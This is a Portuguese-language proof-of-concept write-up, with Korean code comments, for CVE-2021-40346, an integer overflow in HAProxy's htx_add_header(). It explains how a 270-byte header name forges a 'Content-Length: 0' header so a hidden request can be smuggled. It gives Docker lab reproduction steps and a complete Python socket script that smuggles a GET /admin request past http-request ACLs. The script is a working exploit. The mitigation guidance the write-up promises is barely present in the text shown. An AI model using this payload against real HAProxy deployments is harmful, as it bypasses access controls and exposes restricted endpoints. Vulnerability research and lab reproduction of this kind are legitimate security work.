
Exploit PoC para CVE-2021-40346: estouro de inteiro no HAProxy permitindo contrabando de requisições HTTP e bypass de ACL. Inclui análise, etapas de reprodução e orientações de mitigação.
htx_add_header() do HAProxy, que armazena cabeçalhos HTTP no formato interno HTX, por não validar o comprimento do nome do cabeçalho.http-request no frontend (por exemplo, ) — esta regra será o alvo do bypass.path_beg /adminQuando o HAProxy armazena cabeçalhos HTTP no formato interno HTX, ele registra o comprimento do nome do cabeçalho em um campo de 8 bits (máximo 255). A função htx_add_header() não possui lógica de validação para esse comprimento, portanto, se um nome com mais de 256 bytes for enviado, ocorre um estouro de inteiro e os bits transbordados fluem para o campo de comprimento do valor adjacente.
Ao criar um nome de cabeçalho com exatamente 270 bytes (270 mod 256 = 14), o HAProxy o interpreta como "Content-Length" (14 caracteres) e lê o byte contaminado pelo estouro como o valor. Colocando "0" nessa posição, é criado um cabeçalho Content-Length: 0 falsificado.
Se um cabeçalho Content-Length real for enviado em seguida a esse cabeçalho falsificado, o HAProxy adota o primeiro (o falsificado com 0) e descarta o real. Nesse momento, o processo de leitura do corpo real da requisição a partir do cliente funciona corretamente com base no texto original, mas o cabeçalho encaminhado ao backend contém o valor falsificado (0), resultando em uma inconsistência entre o "tamanho real do corpo recebido" e o "tamanho notificado ao backend".
O backend acredita no valor notificado (0) e considera que a requisição terminou, reinterpretando os dados que eram o corpo original como uma nova requisição. Como a ACL do HAProxy é verificada apenas na linha de requisição inicial, a segunda requisição oculta não é inspecionada e chega ao backend. Como resultado, todas as ACLs http-request configuradas são contornadas.
Execute docker compose up --build -d para iniciar o ambiente de teste vulnerável (haproxy ver.2.2.16 / backend: gunicorn)
Teste a ativação do HAProxy e do servidor backend com o código abaixo:
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Execute o código PoC com python3 poc.py --host 127.0.0.1 --port 8080
Verifique nos logs do backend com docker logs cve-2021-40346-backend --tail 5 se a requisição /admin foi realmente processada.
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Conforme acima, a requisição GET para /admin, que tem acesso restrito no backend, foi processada.
htx_add_header())